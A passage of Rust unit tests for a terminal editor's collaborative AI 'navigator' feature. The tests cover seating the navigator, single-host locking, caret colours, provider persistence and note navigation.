/// entry both route through `collab_cancel_stream` (hint when idle), and
/// the gutter stop button's row follows the pilot's caret in the streamed
/// file, falling back to the top visible row.
#[test]
fn cmd_k_x_cancels_the_ai_stream_and_the_stop_row_follows_the_pilot_caret() {
    let tmp = tempfile::tempdir().unwrap();
    let file = tmp.path().join("f.txt");
    std::fs::write(&file, "l0\nl1\nl2\nl3\nl4\nl5\nl6").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.open_at(&file, 0, 0).unwrap();

    // The chord is always consumed; idle it hints instead of broadcasting.
    assert!(app.handle_cmd_k_chord(key(KeyCode::Char('x'), KeyModifiers::NONE)));
    assert!(
        app.status.to_lowercase().contains("no ai stream"),
        "idle chord hints, got: {}",
        app.status
    );

    // No stream: no stop row.
    assert_eq!(app.stream_stop_row(), None);

    // A stream into the active file with no pilot caret yet: the top
    // visible row wears the button.
    app.collab_stream = Some(CollabStreamInfo {
        file: "f.txt".into(),
        name: "pilot".into(),
        site: 7,
    });
    assert_eq!(app.stream_stop_row(), Some(app.editor.scroll));

    // The pilot's ghost caret pins the row.
    app.collab_carets.insert(
        7,
        CollabCaret {
            file: "f.txt".into(),
            row: 5,
            col: 2,
            name: "pilot".into(),
            last_moved: std::time::Instant::now(),
        },
    );
    assert_eq!(app.stream_stop_row(), Some(5));

    // A stream into a file that is not active here shows no button.
    app.collab_stream.as_mut().unwrap().file = "other.txt".into();
    assert_eq!(app.stream_stop_row(), None);

    // The palette entry drives the same action.
    app.status.clear();
    app.run_command(crate::widgets::command_palette::Command::CollabCancelStream);
    assert!(
        app.status.to_lowercase().contains("no ai stream"),
        "palette cancel hints when idle, got: {}",
        app.status
    );
}

/// The resident navigator: an enabled pair record seats the pilot within a
/// throttled tick, a plain-launch croft self-appoints the collab OWNER seat
/// (nobody else would answer the pilot's snapshot requests), and a disabled
/// record unseats it.
#[test]
fn navigator_record_seats_the_pilot_and_self_appoints_owner() {
    use std::time::{Duration, Instant};
    if !crate::lsp::manager::is_on_path("python3") {
        eprintln!("SKIPPED: python3 not on PATH");
        return;
    }
    let tmp = tempfile::tempdir().unwrap();
    std::fs::write(tmp.path().join("f.txt"), "l0\nl1\nl2").unwrap();
    let socket = tmp.path().join("collab.sock");
    {
        let s = socket.clone();
        std::thread::spawn(move || {
            let _ = crate::collab::relay_serve(&s);
        });
    }
    let deadline = Instant::now() + Duration::from_secs(5);
    while !crate::session::is_alive(&socket) {
        assert!(Instant::now() < deadline, "relay never came up");
        std::thread::sleep(Duration::from_millis(10));
    }
    let script = tmp.path().join("fake_claude.py");
    std::fs::write(&script, crate::pair::FAKE_CLAUDE).unwrap();
    let log = tmp.path().join("stdin.log");

    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.pair_record_path = tmp.path().join("x.pair.json");
    app.pair_socket = socket.clone();
    app.pair_host_lock_path = tmp.path().join("x.pair-host.lock");
    let (script2, log2, socket2) = (script.clone(), log.clone(), socket.clone());
    app.pair_spawn_override = Some(Box::new(move |cfg| {
        let mut cmd = std::process::Command::new("python3");
        cmd.arg(&script2).arg(&log2).arg("notes");
        crate::pair_host::PairHost::spawn_cmd(&socket2, &cfg.name, cfg.task.as_deref(), cmd)
    }));

    // No record yet: nothing seats.
    assert!(!app.maybe_seat_navigator());
    assert!(app.pair_host.is_none());

    crate::session::write_pair_record(
        &app.pair_record_path,
        &crate::session::PairRecord {
            model: None,
            name: "navigator".into(),
            enabled: true,
            task: None,
            provider: None,
            base_url: None,
        },
    )
    .unwrap();
    assert!(app.collab_config.is_none(), "plain launch precondition");
    app.last_pair_check = None;
    assert!(app.maybe_seat_navigator());
    assert!(app.pair_host.is_some(), "pilot must seat");
    assert_eq!(
        app.collab_config,
        Some((socket.clone(), crate::collab::CollabRole::Owner)),
        "plain launch self-appoints the owner seat"
    );
    assert!(
        app.status.to_lowercase().contains("seated"),
        "got: {}",
        app.status
    );
    // The self-appointed seat actually connects.
    let deadline = Instant::now() + Duration::from_secs(5);
    while app.collab.is_none() {
        assert!(Instant::now() < deadline, "owner seat never connected");
        app.poll_collab();
        std::thread::sleep(Duration::from_millis(5));
    }

    // A real parked caret: an ask turn on f.txt (served by this window's
    // owner seat) bootstraps the pilot's replica and parks its caret at the
    // asked row. The seat's identity is its site ids, never its name.
    app.pair_host
        .as_ref()
        .unwrap()
        .send_ask_turn("f.txt", (1, 1), "", "look here", "l0\nl1\nl2")
        .unwrap();
    let deadline = Instant::now() + Duration::from_secs(10);
    let pilot_sites = loop {
        app.poll_collab();
        let sites = app.pair_host.as_ref().unwrap().caret_sites();
        if sites.iter().any(|s| app.collab_carets.contains_key(s)) {
            break sites;
        }
        assert!(
            Instant::now() < deadline,
            "the pilot's parked caret never reached the app"
        );
        std::thread::sleep(Duration::from_millis(10));
    };
    // A human who picked the very same display name is not the navigator.
    app.collab_carets.insert(
        9999,
        CollabCaret {
            file: "f.txt".into(),
            row: 0,
            col: 0,
            name: "navigator".into(),
            last_moved: Instant::now(),
        },
    );

    // Disabled record: the host unseats on the next check.
    crate::session::write_pair_record(
        &app.pair_record_path,
        &crate::session::PairRecord {
            model: None,
            name: "navigator".into(),
            enabled: false,
            task: None,
            provider: None,
            base_url: None,
        },
    )
    .unwrap();
    app.last_pair_check = None;
    assert!(app.maybe_seat_navigator());
    assert!(app.pair_host.is_none(), "pilot must unseat");
    assert!(
        !pilot_sites
            .iter()
            .any(|s| app.collab_carets.contains_key(s)),
        "the unseated navigator's caret must not linger"
    );
    assert!(
        app.collab_carets.contains_key(&9999),
        "a human named like the navigator keeps their caret"
    );
}

/// The navigator's caret wears its fixed identity accent (the same orange
/// as its comment boxes); human collaborators keep the join-order palette.
/// Identity is the seat's site ids, never its display name: names are
/// neither unique (a human may pick the same one) nor length-stable (caret
/// names truncate to 24 chars at ingest).
#[test]
fn navigator_caret_wears_its_accent_and_humans_keep_the_palette() {
    assert_eq!(
        collab_caret_color(&[3, 7], 3),
        crate::widgets::editor::NAVIGATOR_ACCENT
    );
    assert_eq!(collab_caret_color(&[3, 7], 5), participant_color(5));
    assert_eq!(collab_caret_color(&[], 3), participant_color(3));
}

/// A record activated with `--provider ollama` seats the pilot with the
/// Local provider and its recorded endpoint, not the claude default.
#[test]
fn app_seats_local_provider_from_record() {
    let tmp = tempfile::tempdir().unwrap();
    let socket = tmp.path().join("collab.sock");
    type SeenConfig = Option<(crate::pair::Provider, Option<String>)>;
    let seen: std::rc::Rc<std::cell::RefCell<SeenConfig>> =
        std::rc::Rc::new(std::cell::RefCell::new(None));
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.pair_record_path = tmp.path().join("x.pair.json");
    app.pair_socket = socket.clone();
    app.pair_host_lock_path = tmp.path().join("x.pair-host.lock");
    // Already the owner (skip the relay bootstrap): the test exercises the
    // provider mapping, not collab connect.
    app.collab_config = Some((socket, crate::collab::CollabRole::Owner));
    let seen2 = seen.clone();
    app.pair_spawn_override = Some(Box::new(move |cfg| {
        *seen2.borrow_mut() = Some((cfg.provider.clone(), cfg.model.clone()));
        anyhow::bail!("captured the config; no seat needed")
    }));
    crate::session::write_pair_record(
        &app.pair_record_path,
        &crate::session::PairRecord {
            model: Some("qwen3-coder:30b".into()),
            name: "navigator".into(),
            enabled: true,
            task: None,
            provider: Some("ollama".into()),
            base_url: Some("http://localhost:11500".into()),
        },
    )
    .unwrap();
    app.last_pair_check = None;
    assert!(app.maybe_seat_navigator());
    assert_eq!(
        *seen.borrow(),
        Some((
            crate::pair::Provider::Local {
                base_url: "http://localhost:11500".into()
            },
            Some(String::from("qwen3-coder:30b")),
        )),
        "the recorded provider and model must reach the seat config"
    );
}

/// A dead pilot is not respawned every second: after a death (or a failed
/// seat) the navigator stays down until the record is deactivated and
/// re-enabled, matching the "re-activate to reseat" contract and the LSP
/// no-auto-respawn precedent.
#[test]
fn a_dead_navigator_is_not_respawned_until_reactivated() {
    let tmp = tempfile::tempdir().unwrap();
    let socket = tmp.path().join("collab.sock");
    let seats = std::rc::Rc::new(std::cell::Cell::new(0usize));
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.pair_record_path = tmp.path().join("x.pair.json");
    app.pair_socket = socket.clone();
    app.pair_host_lock_path = tmp.path().join("x.pair-host.lock");
    // Already the owner (skip the relay bootstrap): the test exercises the
    // death latch, not collab connect.
    app.collab_config = Some((socket, crate::collab::CollabRole::Owner));
    let seats2 = seats.clone();
    app.pair_spawn_override = Some(Box::new(move |_cfg| {
        seats2.set(seats2.get() + 1);
        anyhow::bail!("scripted seat failure");
    }));

    let enabled = |a: &mut App| {
        crate::session::write_pair_record(
            &a.pair_record_path,
            &crate::session::PairRecord {
                model: None,
                name: "nav".into(),
                enabled: true,
                task: None,
                provider: None,
                base_url: None,
            },
        )
        .unwrap();
        a.last_pair_check = None;
    };

    // First tick: it tries once, fails, and latches down.
    enabled(&mut app);
    app.maybe_seat_navigator();
    assert_eq!(seats.get(), 1, "one seat attempt");
    assert!(
        app.navigator_down,
        "a failed seat latches the navigator down"
    );

    // Many more ticks with the record still enabled: NO respawn storm.
    for _ in 0..5 {
        app.last_pair_check = None;
        app.maybe_seat_navigator();
    }
    assert_eq!(seats.get(), 1, "a latched navigator must not be respawned");

    // Deactivate, then re-enable: the latch clears and it tries again.
    crate::session::write_pair_record(
        &app.pair_record_path,
        &crate::session::PairRecord {
            model: None,
            name: "nav".into(),
            enabled: false,
            task: None,
            provider: None,
            base_url: None,
        },
    )
    .unwrap();
    app.last_pair_check = None;
    app.maybe_seat_navigator();
    assert!(!app.navigator_down, "deactivation clears the latch");
    enabled(&mut app);
    app.maybe_seat_navigator();
    assert_eq!(seats.get(), 2, "re-activation retries the seat");
}

/// Resident seating never replays a persisted task: a stale record carrying
/// a task must not re-execute an instruction against the buffer on every
/// launch (and an @file task would freeze the UI thread on seat).
#[test]
fn resident_seating_never_replays_a_persisted_task() {
    let tmp = tempfile::tempdir().unwrap();
    let socket = tmp.path().join("collab.sock");
    let seen_task = std::rc::Rc::new(std::cell::RefCell::new(Some(String::from("sentinel"))));
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.pair_record_path = tmp.path().join("x.pair.json");
    app.pair_socket = socket.clone();
    app.pair_host_lock_path = tmp.path().join("x.pair-host.lock");
    app.collab_config = Some((socket, crate::collab::CollabRole::Owner));
    let seen2 = seen_task.clone();
    app.pair_spawn_override = Some(Box::new(move |cfg| {
        *seen2.borrow_mut() = cfg.task.clone();
        anyhow::bail!("stop before a real child");
    }));
    crate::session::write_pair_record(
        &app.pair_record_path,
        &crate::session::PairRecord {
            model: None,
            name: "nav".into(),
            enabled: true,
            task: Some("delete the deprecated helpers".into()),
            provider: None,
            base_url: None,
        },
    )
    .unwrap();
    app.last_pair_check = None;
    app.maybe_seat_navigator();
    assert_eq!(
        *seen_task.borrow(),
        None,
        "the seat must never carry a persisted task"
    );
}

/// F4 visits notes in file (row) order and wraps, regardless of the order
/// they streamed in. Landing order [(10,..),(2,..)] must not strand the
/// row-2 note or stick on row 10.
#[test]
fn next_note_by_row_walks_rows_in_order_and_wraps() {
    let notes = vec![
        (1u64, 10usize, String::from("late")),
        (2u64, 2usize, String::from("early")),
        (3u64, 6usize, String::from("mid")),
    ];
    // From the top: nearest row strictly greater.
    assert_eq!(notes[super::next_note_by_row(&notes, (0, usize::MAX))].1, 2);
    assert_eq!(notes[super::next_note_by_row(&notes, (2, usize::MAX))].1, 6);
    assert_eq!(
        notes[super::next_note_by_row(&notes, (6, usize::MAX))].1,
        10
    );
    // Past the last note: wrap to the smallest row (not stick on row 10).
    assert_eq!(
        notes[super::next_note_by_row(&notes, (10, usize::MAX))].1,
        2
    );
    assert_eq!(
        notes[super::next_note_by_row(&notes, (99, usize::MAX))].1,
        2
    );
}

/// The palette off/on round trip must keep the seat's backend: writing
/// `provider: None` silently reseated a local-only ollama navigator on the
/// cloud claude CLI - shipping the workspace to a remote service the user
/// explicitly avoided, under a model name claude does not have.
#[test]
fn toggling_the_navigator_preserves_its_provider() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.pair_record_path = tmp.path().join("pair.json");
    crate::session::write_pair_record(
        &app.pair_record_path,
        &crate::session::PairRecord {
            model: Some(String::from("qwen3-coder:30b")),
            name: String::from("navigator"),
            enabled: true,
            task: None,
            provider: Some(String::from("ollama")),
            base_url: Some(String::from("http://localhost:11434")),
        },
    )
    .unwrap();
    app.toggle_navigator(); // off
    let mid = crate::session::read_pair_record(&app.pair_record_path).unwrap();
    assert!(!mid.enabled, "the first toggle really deactivates");
    assert_eq!(mid.name, "navigator");
    assert_eq!(mid.provider.as_deref(), Some("ollama"));
    assert_eq!(mid.base_url.as_deref(), Some("http://localhost:11434"));
    assert_eq!(mid.model.as_deref(), Some("qwen3-coder:30b"));
    app.toggle_navigator(); // back on
    let r = crate::session::read_pair_record(&app.pair_record_path).unwrap();
    assert!(r.enabled);
    assert_eq!(r.provider.as_deref(), Some("ollama"));
    assert_eq!(r.base_url.as_deref(), Some("http://localhost:11434"));
    assert_eq!(r.model.as_deref(), Some("qwen3-coder:30b"));
    assert_eq!(r.name, "navigator", "the seat keeps its name too");
}

/// Collab carets are keyed by root-relative file paths: after a re-root, a
/// same-named file under the new root would wear a departed peer's caret
/// from the old workspace. Re-rooting clears them; a live session
/// repopulates its own on the next poll.
#[test]
fn changing_the_workspace_root_drops_stale_collab_carets() {
    let tmp = tempfile::tempdir().unwrap();
    let inner = tmp.path().join("inner");
    std::fs::create_dir_all(&inner).unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.collab_carets.insert(
        7,
        CollabCaret {
            file: String::from("src/main.rs"),
            row: 3,
            col: 1,
            name: String::from("guest"),
            last_moved: std::time::Instant::now(),
        },
    );
    app.change_workspace_root(inner);
    assert!(
        app.collab_carets.is_empty(),
        "old-workspace carets must not survive a re-root"
    );
}

/// Replying anchors the navigator's answer on the answered note's own row,
/// so two notes on one row is the NORMAL state after one reply. The index
/// tie-break must step through both and wrap - a row-only walk went
/// first-note → first-note forever and the answer was unreachable by F4.
#[test]
fn next_note_by_row_steps_through_co_anchored_notes() {
    let notes = vec![
        (1u64, 5usize, String::from("original")),
        (2u64, 5usize, String::from("answer")),
    ];
    // Focused on the first note at row 5: F4 reaches its co-anchored answer.
    assert_eq!(super::next_note_by_row(&notes, (5, 0)), 1);
    // Focused on the answer: F4 wraps back to the first.
    assert_eq!(super::next_note_by_row(&notes, (5, 1)), 0);
    // From a bare caret on that row, neither is "past" it: wrap to first.
    assert_eq!(super::next_note_by_row(&notes, (5, usize::MAX)), 0);
}

/// Only one croft self-appoints the navigator owner per workspace: a second
/// plain croft is refused the single-host lock and must NOT seat (two owners
/// would both claim collab site id 1 and corrupt the shared buffer).
#[test]
fn only_one_croft_self_appoints_the_navigator_owner() {
    use std::time::{Duration, Instant};
    let tmp = tempfile::tempdir().unwrap();
    let socket = tmp.path().join("collab.sock");
    let lock_path = tmp.path().join("host.lock");
    {
        let s = socket.clone();
        std::thread::spawn(move || {
            let _ = crate::collab::relay_serve(&s);
        });
    }
    let deadline = Instant::now() + Duration::from_secs(5);
    while !crate::session::is_alive(&socket) {
        assert!(Instant::now() < deadline, "relay never came up");
        std::thread::sleep(Duration::from_millis(10));
    }
    let enable = |a: &mut App| {
        crate::session::write_pair_record(
            &a.pair_record_path,
            &crate::session::PairRecord {
                model: None,
                name: "nav".into(),
                enabled: true,
                task: None,
                provider: None,
                base_url: None,
            },
        )
        .unwrap();
        a.last_pair_check = None;
    };

    // Croft A grabs the single-host lock, self-appoints, and HOSTS (a
    // local-provider seat spawns no child): the lock is only kept by a
    // window that actually holds the seat.
    let mut a = App::new(tmp.path().to_path_buf()).unwrap();
    a.pair_record_path = tmp.path().join("a.pair.json");
    a.pair_socket = socket.clone();
    a.pair_host_lock_path = lock_path.clone();
    a.pair_spawn_override = Some(Box::new(local_test_spawn));
    enable(&mut a);
    a.maybe_seat_navigator();
    assert!(a.pair_host.is_some(), "A must host: {}", a.status);
    assert!(
        a.pair_host_lock.is_some(),
        "A must hold the single-host lock"
    );

    // Croft B, same workspace: with a live relay, WITHOUT the lock gate it
    // would self-appoint and reach the spawn (panic). The gate must refuse it.
    let mut b = App::new(tmp.path().to_path_buf()).unwrap();
    b.pair_record_path = tmp.path().join("b.pair.json");
    b.pair_socket = socket.clone();
    b.pair_host_lock_path = lock_path.clone();
    b.pair_spawn_override = Some(Box::new(|_| panic!("a second croft must never host")));
    enable(&mut b);
    b.maybe_seat_navigator();
    assert!(b.pair_host.is_none(), "B must not host");
    assert!(b.pair_host_lock.is_none(), "B must not hold the lock");
    assert!(
        b.status.to_lowercase().contains("another croft"),
        "B must say another croft hosts it, got: {}",
        b.status
    );

    // The refusal is announced ONCE. B keeps silently polling for takeover,
    // but re-announcing every second clobbered its status line forever and
    // dirtied a frame at 1 Hz.
    b.status = String::from("Saved src/foo.rs");
    b.last_pair_check = None;
    let redraw = b.maybe_seat_navigator();
    assert!(!redraw, "an unchanged refusal must not dirty the frame");
    assert_eq!(
        b.status, "Saved src/foo.rs",
        "the refusal must not clobber the status line again"
    );
}

/// A lock file croft cannot open is not another window (#337): the status
/// names the path and the error, never "another croft". And the refusal is
/// latched by KIND: when the reason changes (the directory appears but a
/// second window now holds the flock) the new reason is announced, and
/// when the lock frees this window hosts.
#[test]
fn an_unopenable_host_lock_is_reported_as_such_and_re_announced_when_the_reason_changes() {
    use std::time::{Duration, Instant};
    let tmp = tempfile::tempdir().unwrap();
    let socket = tmp.path().join("collab.sock");
    {
        let s = socket.clone();
        std::thread::spawn(move || {
            let _ = crate::collab::relay_serve(&s);
        });
    }
    let deadline = Instant::now() + Duration::from_secs(5);
    while !crate::session::is_alive(&socket) {
        assert!(Instant::now() < deadline, "relay never came up");
        std::thread::sleep(Duration::from_millis(10));
    }
    let lock_dir = tmp.path().join("no-such-dir");
    let lock_path = lock_dir.join("host.lock");
    let mut b = App::new(tmp.path().to_path_buf()).unwrap();
    b.pair_record_path = tmp.path().join("b.pair.json");
    b.pair_socket = socket.clone();
    b.pair_host_lock_path = lock_path.clone();
    b.pair_spawn_override = Some(Box::new(local_test_spawn));
    crate::session::write_pair_record(
        &b.pair_record_path,
        &crate::session::PairRecord {
            model: None,
            name: "nav".into(),
            enabled: true,
            task: None,
            provider: None,
            base_url: None,
        },
    )
    .unwrap();
    b.last_pair_check = None;
    b.maybe_seat_navigator();
    assert!(b.pair_host.is_none(), "cannot host without the lock");
    assert!(
        b.status.contains("cannot open host lock") && b.status.contains("no-such-dir"),
        "an unopenable lock names the path and the error, got: {}",
        b.status
    );
    assert!(
        !b.status.to_lowercase().contains("another croft"),
        "an open failure must never be blamed on another window: {}",
        b.status
    );

    // Same reason next tick: quiet.
    b.status = String::from("Saved src/foo.rs");
    b.last_pair_check = None;
    assert!(
        !b.maybe_seat_navigator(),
        "an unchanged refusal stays quiet"
    );
    assert_eq!(b.status, "Saved src/foo.rs");

    // The directory appears, but another window holds the flock: the
    // reason changed, so it is announced.
    std::fs::create_dir_all(&lock_dir).unwrap();
    let holder = crate::session::try_acquire_pair_host_lock(&lock_path).expect("holder acquires");
    b.last_pair_check = None;
    assert!(
        b.maybe_seat_navigator(),
        "a changed reason dirties the frame"
    );
    assert!(
        b.status.to_lowercase().contains("another croft"),
        "now it IS another window, got: {}",
        b.status
    );

    // The reverse transition: the holder is still there but the lock's
    // directory vanishes, so the refusal is an open failure again - and
    // that change of reason is announced too.
    std::fs::remove_dir_all(&lock_dir).unwrap();
    b.last_pair_check = None;
    assert!(b.maybe_seat_navigator(), "Busy -> Io is a changed reason");
    assert!(
        b.status.contains("cannot open host lock"),
        "the open failure is named again, got: {}",
        b.status
    );
    std::fs::create_dir_all(&lock_dir).unwrap();

    // The holder exits: this window takes over.
    drop(holder);
    b.last_pair_check = None;
    b.maybe_seat_navigator();
    assert!(
        b.pair_host.is_some(),
        "B hosts once the lock frees: {}",
        b.status
    );
    assert!(b.pair_host_lock.is_some());
}

/// A local-provider seat for tests: connects to the workspace relay but
/// spawns no child process (the endpoint is never contacted until a turn).
fn local_test_spawn(cfg: &crate::pair::PairConfig) -> anyhow::Result<crate::pair_host::PairHost> {
    crate::pair_host::PairHost::spawn(crate::pair::PairConfig {
        socket: cfg.socket.clone(),
        workspace: cfg.workspace.clone(),
        name: cfg.name.clone(),
        model: Some(String::from("test-model")),
        task: None,
        provider: crate::pair::Provider::Local {
            base_url: String::from("http://127.0.0.1:9"),
        },
    })
}

/// A window whose spawn FAILED must not keep the workspace's single-host
/// lock: it cannot host, so holding the flock only blocks the window that
/// can. The failed spawner un-appoints itself and releases; the next window
/// acquires and seats.
#[test]
fn a_failed_spawner_releases_the_lock_so_another_window_can_host() {
    use std::time::{Duration, Instant};
    let tmp = tempfile::tempdir().unwrap();
    let socket = tmp.path().join("collab.sock");
    let lock_path = tmp.path().join("host.lock");
    {
        let s = socket.clone();
        std::thread::spawn(move || {
            let _ = crate::collab::relay_serve(&s);
        });
    }
    let deadline = Instant::now() + Duration::from_secs(5);
    while !crate::session::is_alive(&socket) {
        assert!(Instant::now() < deadline, "relay never came up");
        std::thread::sleep(Duration::from_millis(10));
    }
    let record = crate::session::PairRecord {
        model: None,
        name: "nav".into(),
        enabled: true,
        task: None,
        provider: None,
        base_url: None,
    };

    let mut a = App::new(tmp.path().to_path_buf()).unwrap();
    a.pair_record_path = tmp.path().join("a.pair.json");
    a.pair_socket = socket.clone();
    a.pair_host_lock_path = lock_path.clone();
    a.pair_spawn_override = Some(Box::new(|_| anyhow::bail!("claude is broken")));
    crate::session::write_pair_record(&a.pair_record_path, &record).unwrap();
    a.last_pair_check = None;
    a.maybe_seat_navigator();
    assert!(a.pair_host.is_none());
    assert!(a.navigator_down, "the failure latches, no 1s retry storm");
    assert!(
        a.pair_host_lock.is_none(),
        "a window that cannot host must release the lock"
    );
    assert!(
        a.collab_config.is_none(),
        "the same-tick self-appointment is undone with it"
    );

    let mut b = App::new(tmp.path().to_path_buf()).unwrap();
    b.pair_record_path = tmp.path().join("b.pair.json");
    b.pair_socket = socket.clone();
    b.pair_host_lock_path = lock_path.clone();
    b.pair_spawn_override = Some(Box::new(local_test_spawn));
    crate::session::write_pair_record(&b.pair_record_path, &record).unwrap();
    b.last_pair_check = None;
    b.maybe_seat_navigator();
    assert!(
        b.pair_host.is_some(),
        "the working window must be able to host: {}",
        b.status
    );
}

/// Unseating the navigator mid-turn must reset the turn's note counters:
/// they survived into the NEXT seat's first TurnDone, which then reported
/// a dead seat's notes (inflated count, wrong file).
#[test]
fn unseating_the_navigator_resets_the_turn_note_counters() {
    use std::time::{Duration, Instant};
    let tmp = tempfile::tempdir().unwrap();
    let socket = tmp.path().join("collab.sock");
    {
        let s = socket.clone();
        std::thread::spawn(move || {
            let _ = crate::collab::relay_serve(&s);
        });
    }
    let deadline = Instant::now() + Duration::from_secs(5);
    while !crate::session::is_alive(&socket) {
        assert!(Instant::now() < deadline, "relay never came up");
        std::thread::sleep(Duration::from_millis(10));
    }
    let mut record = crate::session::PairRecord {
        model: None,
        name: "nav".into(),
        enabled: true,
        task: None,
        provider: None,
        base_url: None,
    };
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.pair_record_path = tmp.path().join("x.pair.json");
    app.pair_socket = socket.clone();
    app.pair_host_lock_path = tmp.path().join("x.host.lock");
    app.pair_spawn_override = Some(Box::new(local_test_spawn));
    crate::session::write_pair_record(&app.pair_record_path, &record).unwrap();
    app.last_pair_check = None;
    app.maybe_seat_navigator();
    assert!(app.pair_host.is_some(), "seated: {}", app.status);

    // Mid-turn state: the navigator commented three times in a.rs.
    app.pair_notes_this_turn = 3;
    app.pair_last_noted_file = Some(String::from("a.rs"));
    app.pair_noted_files.insert(String::from("a.rs"));

    record.enabled = false;
    crate::session::write_pair_record(&app.pair_record_path, &record).unwrap();
    app.last_pair_check = None;
    app.maybe_seat_navigator();
    assert!(app.pair_host.is_none(), "unseated");
    assert_eq!(
        app.pair_notes_this_turn, 0,
        "a dead seat's note count must not leak into the next seat's TurnDone"
    );
    assert!(
        app.pair_last_noted_file.is_none(),
        "a dead seat's noted file must not leak either"
    );
    assert!(app.pair_noted_files.is_empty());
}

/// The TurnDone hint names a file only when every note landed in the SAME
/// file: "3 comments in b.rs" was a lie when two of them sat in a.rs.
#[test]
fn turn_note_summary_only_names_a_single_file() {
    use std::collections::BTreeSet;
    let one: BTreeSet<String> = [String::from("a.rs")].into();
    assert_eq!(super::turn_note_summary(1, &one), "1 comment in a.rs");
    assert_eq!(super::turn_note_summary(3, &one), "3 comments in a.rs");
    let two: BTreeSet<String> = [String::from("a.rs"), String::from("b.rs")].into();
    assert_eq!(
        super::turn_note_summary(3, &two),
        "3 comments across 2 files"
    );
    assert_eq!(super::turn_note_summary(2, &BTreeSet::new()), "2 comments");
}

/// Relay startup failure is the spawn failure's sibling: the window has
/// already acquired the workspace host lock, cannot host without a relay,
/// and must release the lock on the way out so another window can try.
/// Holding it made every other window report "hosted by another croft
/// window" while nobody hosted anything.
#[test]
fn a_relay_failure_releases_the_host_lock() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.pair_record_path = tmp.path().join("x.pair.json");
    // A socket inside a directory that does not exist: the relay can never
    // bind it, so ensure_relay fails after its aliveness poll.
    app.pair_socket = tmp.path().join("missing-dir").join("collab.sock");
    app.pair_host_lock_path = tmp.path().join("x.host.lock");
    app.pair_spawn_override = Some(Box::new(|_| panic!("must not reach the spawn")));
    crate::session::write_pair_record(
        &app.pair_record_path,
        &crate::session::PairRecord {
            model: None,
            name: "nav".into(),
            enabled: true,
            task: None,
            provider: None,
            base_url: None,
        },
    )
    .unwrap();
    app.last_pair_check = None;
    app.maybe_seat_navigator();
    assert!(app.pair_host.is_none());
    assert!(
        app.status.contains("relay failed"),
        "the failure is announced: {}",
        app.status
    );
    assert!(
        app.pair_host_lock.is_none(),
        "a window without a relay cannot host; the lock must be released"
    );
}

/// Re-running `croft pair` after a failed seat must retry: the CLI promises
/// "a running croft seats it within a second", but an enabled→enabled
/// rewrite has no transition for the death latch to observe. The record's
/// mtime is the signal.
#[test]
fn a_record_rewrite_re_arms_a_downed_navigator() {
    use std::time::{Duration, Instant};
    let tmp = tempfile::tempdir().unwrap();
    let socket = tmp.path().join("collab.sock");
    {
        let s = socket.clone();
        std::thread::spawn(move || {
            let _ = crate::collab::relay_serve(&s);
        });
    }
    let deadline = Instant::now() + Duration::from_secs(5);
    while !crate::session::is_alive(&socket) {
        assert!(Instant::now() < deadline, "relay never came up");
        std::thread::sleep(Duration::from_millis(10));
    }
    let record = crate::session::PairRecord {
        model: None,
        name: "nav".into(),
        enabled: true,
        task: None,
        provider: None,
        base_url: None,
    };
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.pair_record_path = tmp.path().join("x.pair.json");
    app.pair_socket = socket.clone();
    app.pair_host_lock_path = tmp.path().join("x.host.lock");
    app.pair_spawn_override = Some(Box::new(|_| anyhow::bail!("claude is broken")));
    crate::session::write_pair_record(&app.pair_record_path, &record).unwrap();
    app.last_pair_check = None;
    app.maybe_seat_navigator();
    assert!(app.navigator_down, "the first seat fails and latches");

    // Latched: an unchanged record must NOT retry every second.
    app.last_pair_check = None;
    app.maybe_seat_navigator();
    assert!(app.pair_host.is_none());

    // The user fixes the backend and re-runs `croft pair`: the rewritten
    // record re-arms seating — even when the rewrite lands within the same
    // mtime grain (coarse-timestamp filesystems): pin the mtime to the old
    // value so only the CONTENT can carry the signal (every write stamps
    // the record, so an enabled→enabled rewrite is never byte-identical).
    let old_mtime = std::fs::metadata(&app.pair_record_path)
        .unwrap()
        .modified()
        .unwrap();
    crate::session::write_pair_record(&app.pair_record_path, &record).unwrap();
    let f = std::fs::File::options()
        .write(true)
        .open(&app.pair_record_path)
        .unwrap();
    f.set_modified(old_mtime).unwrap();
    app.pair_spawn_override = Some(Box::new(local_test_spawn));
    // Poll like the app's once-a-second tick: a child forked by a parallel
    // test can share the host lock's file until its exec closes it, which
    // reads as Busy for that one tick.
    let deadline = Instant::now() + Duration::from_secs(5);
    loop {
        app.last_pair_check = None;
        app.maybe_seat_navigator();
        if app.pair_host.is_some() || Instant::now() >= deadline {
            break;
        }
        std::thread::sleep(Duration::from_millis(20));
    }
    assert!(
        app.pair_host.is_some(),
        "a rewritten record must re-arm the downed navigator: {}",
        app.status
    );
}

/// A solo guest viewport never hosts the navigator: the owner's croft does,
/// or two hosts would fight over one seat.
#[test]
fn solo_guest_never_hosts_the_navigator() {
    let tmp = tempfile::tempdir().unwrap();
    let socket = tmp.path().join("collab.sock");
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.pair_record_path = tmp.path().join("x.pair.json");
    app.pair_socket = socket.clone();
    app.pair_host_lock_path = tmp.path().join("x.pair-host.lock");
    app.collab_config = Some((socket, crate::collab::CollabRole::Guest));
    app.pair_spawn_override = Some(Box::new(|_| {
        panic!("a solo guest must never spawn the pilot");
    }));
    crate::session::write_pair_record(
        &app.pair_record_path,
        &crate::session::PairRecord {
            model: None,
            name: "navigator".into(),
            enabled: true,
            task: None,
            provider: None,
            base_url: None,
        },
    )
    .unwrap();
    app.last_pair_check = None;
    app.maybe_seat_navigator();
    assert!(app.pair_host.is_none());
}

/// The four navigator palette commands exist, hint their chords, and their
/// hostless paths hint instead of panicking; Toggle records activation for
/// the tick loop to seat.
#[test]
fn palette_carries_the_navigator_commands() {
    use crate::widgets::command_palette::{ALL_COMMANDS, Command};
    for cmd in [
        Command::AskNavigator,
        Command::YieldToNavigator,
        Command::ToggleNavigator,
